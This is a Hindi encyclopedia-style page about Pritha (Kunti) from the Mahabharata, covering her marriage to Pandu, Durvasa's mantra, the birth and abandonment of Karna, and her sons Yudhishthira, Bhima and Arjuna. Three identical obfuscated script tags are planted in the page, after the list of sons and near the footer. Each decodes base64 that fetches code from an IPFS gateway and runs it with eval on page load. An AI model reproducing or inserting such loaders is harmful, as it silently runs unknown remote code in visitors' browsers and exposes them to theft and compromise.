पृथा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

पांडु का विवाह शूरसेन की कन्या पृथा से हुआ, उसी को कुंती के नाम से भी जाना जाता था, जो श्रीकृष्ण की बुआ लगती थी। कुंती की सेवा से प्रसन्न होकर दुर्वासा ऋषि ने उसे एक ऐसा मंत्र बताया था जिससे वह किसी देवता का आह्वान कर सकती थी। कौमार्य में ही कुंती ने मंत्र की परीक्षा लेने के लिए सूर्य का आह्वान किया तथा सूर्य की कृपा से उसे एक पुत्र की प्राप्ति हुई। लोक-लाज के भय से कुंती ने उसे गंगा में बहा दिया। कौरवों के सारथी अधिरथ ने उसका पालन-पोषण किया। कर्ण के नाम से प्रसिद्ध यह बालक सारथी द्वारा पाला गया था, इसीलिए सूत-पुत्र कहलाया। कुंती से पांडु के तीन पुत्र हुए -

  1. युधिष्ठिर,
  2. भीम तथा
  3. अर्जुन

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी

संबंधित लेख